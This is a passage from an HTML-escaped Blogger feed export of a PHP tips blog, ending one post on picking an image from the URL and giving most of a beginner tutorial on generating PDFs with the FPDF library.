&lt;span class=&quot;crayon-o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0f842b3c-ac86-49a5-99ce-9dd58fc45ce8&quot; id=&quot;d83cb64f-bc5d-4994-beb9-2c2a2b3d322f&quot;&gt;img&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;path/to/image/&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0f842b3c-ac86-49a5-99ce-9dd58fc45ce8&quot; id=&quot;13e36bf1-a955-4d04-a649-3735c9124430&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$url&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7fa9f037-e8ba-4460-8e8d-882e53d5339e&quot; id=&quot;12a7fb48-72df-4ddd-8fc1-8dfb44e64650&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7fa9f037-e8ba-4460-8e8d-882e53d5339e&quot; id=&quot;f84a2aa1-2dd0-48e7-bbf0-fab29f0cb0e2&quot;&gt;jpg&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
Hurrah!! &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b31b2d72-1590-4c1a-8a08-8975f32814a6&quot; id=&quot;e75f668e-a427-4ff3-89b5-2c6d9d9cb1fb&quot;&gt;if&lt;/span&gt; you go to that page you can see your image. Now &lt;a href=&quot;http://voidtricks.com/php-include-from-root/&quot;&gt;include&lt;/a&gt; all the above codes into each page where you want to show the images and place the image with the same name of &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7be43659-08ff-4b62-9c68-4036257c09cb&quot; id=&quot;4d268a35-72a6-4972-9a84-64c69f178404&quot;&gt;URL’s last part&lt;/span&gt;.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/1555389208840661413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/06/get-url-and-change-according-image-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/1555389208840661413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/1555389208840661413'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/06/get-url-and-change-according-image-in.html' title='Get URL and change the according  image in PHP'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-3077856674144414291</id><published>2013-06-30T22:30:00.002+05:30</published><updated>2013-06-30T22:30:24.032+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>PDF generater in PHP tutorial</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/05/php-pdf.jpg&quot;&gt;&lt;img alt=&quot;php pdf&quot; class=&quot;alignnone size-medium wp-image-478&quot; height=&quot;300&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/05/php-pdf-280x300.jpg&quot; width=&quot;280&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h2&gt;
PHP PDF Generate tutorial&lt;/h2&gt;
Here is the tutorial for &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c5444169-1df1-4684-8399-8f7d78ce351f&quot; id=&quot;a2be387c-8e61-4645-9617-250cfdfcb46a&quot;&gt;php&lt;/span&gt; pdf creation.&lt;br /&gt;

For this you need to download a file called &lt;a href=&quot;http://www.fpdf.org/en/download.php&quot;&gt;fpdf.php&lt;/a&gt;&lt;br /&gt;

&lt;h3&gt;
Basic Code to generate pdf in &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;86d695fc-1841-4e35-ac0e-cc9beda3b133&quot; id=&quot;1354f199-5652-436a-bdde-e7a38372611c&quot;&gt;php&lt;/span&gt;&lt;/h3&gt;
&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0628c9dc71&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;82054aa1-9832-4b2f-a983-f333976067f0&quot; id=&quot;f9048d49-5334-4607-9c22-5b92c47033d2&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;82054aa1-9832-4b2f-a983-f333976067f0&quot; id=&quot;d467d14c-530c-4c9d-bbc4-6e271c044f0f&quot;&gt;(&lt;/span&gt;&quot;fpdf.php&quot;);

$pdf = new FPDF&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ef99c953-864b-4d12-bb8b-1150491a76cd&quot; id=&quot;f8bee3c0-8f01-4346-b3f6-5b8ef860eff8&quot;&gt;(&lt;/span&gt; );

$pdf-&gt;AddPage&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e7e9bd6e-8cc8-45cf-ad88-422973b17761&quot; id=&quot;eb7a7bba-a27d-433f-b436-f5f9acdbfc82&quot;&gt;(&lt;/span&gt;);

$pdf-&gt;SetFont&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8a0c4cf9-8290-40be-8ce7-fa9a8685253e&quot; id=&quot;23ec157a-2a26-4a4f-8b2d-542dc6a59268&quot;&gt;(&lt;/span&gt;&#39;Arial&#39;,&#39;B&#39;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8a0c4cf9-8290-40be-8ce7-fa9a8685253e&quot; id=&quot;0af9aadc-d82a-41db-a8ba-117863e5ce96&quot;&gt;,&lt;/span&gt;16);

$pdf-&gt;Cell&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5e1f4858-2b5d-4883-a125-81e95fa329ad&quot; id=&quot;32b54c9d-729a-4282-81b5-e3135b392f99&quot;&gt;(&lt;/span&gt;0,10,&#39;PHP - The Good Parts!&#39;);

$pdf-&gt;Output&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;86c6fc56-4ac5-488d-8b4a-6f9c088679a0&quot; id=&quot;59f79075-74b7-4c8c-b4c9-36d4dd7aba62&quot;&gt;(&lt;/span&gt;);&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dc71-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dc71-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dc71-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dc71-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dc71-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dc71-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dc71-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dc71-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dc71-9&quot;&gt;
9&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dc71-10&quot;&gt;
10&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dc71-11&quot;&gt;
11&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dc71-1&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;09f0520a-cfa2-4653-b232-c489e79dc336&quot; id=&quot;8ce42979-769b-4f7f-9433-099908126e74&quot;&gt;require&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;09f0520a-cfa2-4653-b232-c489e79dc336&quot; id=&quot;a4b453df-474c-47ae-80e1-4e46ce3a8f04&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;fpdf.php&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dc71-2&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dc71-3&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-r&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;FPDF&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;64be2634-9077-4544-819f-c7fbb05a1413&quot; id=&quot;9737c5d9-88f8-42cd-9d1d-55d966cdd104&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dc71-4&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dc71-5&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;AddPage&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;76306b3d-174e-4d99-b94b-bba4e73afbbf&quot; id=&quot;bafd4b28-18a1-43cc-9654-0da4bac62166&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dc71-6&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dc71-7&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;SetFont&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b824f4f2-41c6-4b99-89c2-7437dda6a555&quot; id=&quot;4e91c7ac-e661-41d4-98a0-60da9672fa00&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;Arial&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;B&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b824f4f2-41c6-4b99-89c2-7437dda6a555&quot; id=&quot;c6ef1f9d-e3f7-4483-8ccd-2c3db2b74e48&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dc71-8&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dc71-9&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;Cell&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;af29bb88-8d49-44d2-98bf-bfa114b195b4&quot; id=&quot;2c48a239-c688-4bf3-b0ec-69e87019c001&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;PHP - The Good Parts!&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dc71-10&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dc71-11&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;Output&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;cf70d033-6ba0-4c28-a091-e171919a968b&quot; id=&quot;7df6f0d4-8599-49d9-a00d-bb5082bcb281&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
Take a look at the code, First you need to include the fpdf.php file using &lt;a href=&quot;http://php.net/manual/en/function.require.php&quot;&gt;require&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ba07b1ac-ece4-4d8f-b364-6fd96a1cda0a&quot; id=&quot;467b48d0-44e8-418b-b3dc-b2e497f49cfc&quot;&gt;(&lt;/span&gt;)&lt;/a&gt; function.&lt;br /&gt;

&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;653c21c5-3f64-441e-a544-71988851dc81&quot; id=&quot;fc89fff4-649d-484c-999c-730610367a4e&quot;&gt;after&lt;/span&gt; requiring the library file, we instantiate an object of the FPDF class and call it $pdf.&lt;br /&gt;

Then we add a page with the AddPage method, set our output font, 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1c2a8037-d94e-434b-a268-994918dd0cb2&quot; id=&quot;5db30319-5050-4327-9590-d29c6a786a7e&quot;&gt;define&lt;/span&gt; the cell (location) for our string of output, and then—using the 
Output method—display the PDF in the browser. &lt;br /&gt;

Output for the above code will be&lt;br /&gt;

&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/05/php-pdf.png&quot;&gt;&lt;img alt=&quot;php pdf&quot; class=&quot;alignnone size-medium wp-image-476&quot; height=&quot;106&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/05/php-pdf-300x106.png&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h3&gt;
PHP PDF &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;052b2cc3-72ab-4e24-a960-17f79cc6587b&quot; id=&quot;899658f8-f052-400c-99a0-881f5dd351b8&quot;&gt;generate&lt;/span&gt; using cell&lt;/h3&gt;
&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0628c9dce6&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
  
   
   
   &lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;02fd841e-4115-416f-966b-ad4a7a5ab20c&quot; id=&quot;67fb99ce-2fb0-45a8-a1f6-b8cc4f74853c&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;02fd841e-4115-416f-966b-ad4a7a5ab20c&quot; id=&quot;f0b053cd-ddcc-4fa2-b741-5fd85dcb164d&quot;&gt;(&lt;/span&gt;&quot;fpdf.php&quot;);


$pdf = new FPDF&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ae338b53-120d-41e8-ae0f-31761ba474f3&quot; id=&quot;20922e9d-4b97-485d-b702-3d8e3c9b4b36&quot;&gt;(&lt;/span&gt; );

$pdf-&gt;AddPage&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;cccaa28c-c8a3-45ad-8762-c3a3a8b76a63&quot; id=&quot;24d54bf4-479d-4008-bb73-784264db4b8c&quot;&gt;(&lt;/span&gt;);

$pdf-&gt;SetFont&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ca64b265-d2fc-4126-adf1-1f1b0972be15&quot; id=&quot;db39297f-f121-407c-81d3-9784bc60df60&quot;&gt;(&lt;/span&gt;&#39;Arial&#39;,&#39;B&#39;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ca64b265-d2fc-4126-adf1-1f1b0972be15&quot; id=&quot;f27d7955-52f5-4015-9d17-570feee6ceca&quot;&gt;,&lt;/span&gt;16);

$pdf-&gt;Cell&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;dc368a00-7f2c-4149-a08d-fff1bc806c51&quot; id=&quot;289b0c96-8a7c-44d8-8860-760187e344e4&quot;&gt;(&lt;/span&gt;10,10,&#39;PHP - The Good Parts!&#39;, 0,0,&#39;L&#39;);

$pdf-&gt;SetX&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;47423d59-f2ab-4e29-8401-7068cce8e76b&quot; id=&quot;13ebe6a4-e7e9-4232-9eed-4b1836c81835&quot;&gt;(&lt;/span&gt;90);

$pdf-&gt;Cell(90,10,&#39;Beware the Ides of March!&#39;, 1,0,&#39;C&#39;);

$pdf-&gt;Output&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7126f3d2-21ae-4bf4-8bb2-14e1ca59e03b&quot; id=&quot;e6aeaeb8-748a-43f6-b94f-942b57588eea&quot;&gt;(&lt;/span&gt;);&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
    &lt;table class=&quot;crayon-table&quot;&gt;
     &lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
    &lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
     &lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dce6-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dce6-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dce6-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dce6-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dce6-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dce6-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dce6-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dce6-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dce6-9&quot;&gt;
9&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dce6-10&quot;&gt;
10&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dce6-11&quot;&gt;
11&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dce6-12&quot;&gt;
12&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dce6-13&quot;&gt;
13&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dce6-14&quot;&gt;
14&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628c9dce6-15&quot;&gt;
15&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628c9dce6-16&quot;&gt;
16&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
      &lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dce6-1&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;119d5ff9-13d4-4c2a-bc6c-481622c51b40&quot; id=&quot;b1deca06-c0a0-4276-a930-92d3427ac326&quot;&gt;require&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;119d5ff9-13d4-4c2a-bc6c-481622c51b40&quot; id=&quot;7a817fb0-5efc-4a63-b21a-01c41690885f&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;fpdf.php&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dce6-2&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628c9dce6-3&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628c9dce6-4&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;pdf&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-r&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;FPDF&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5be52d68-22c8-4c75-aa63-4a84c85af630&quot; id=&quot;53dcfbd5-622b-49e1-865d-4c9cc6f2e057&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
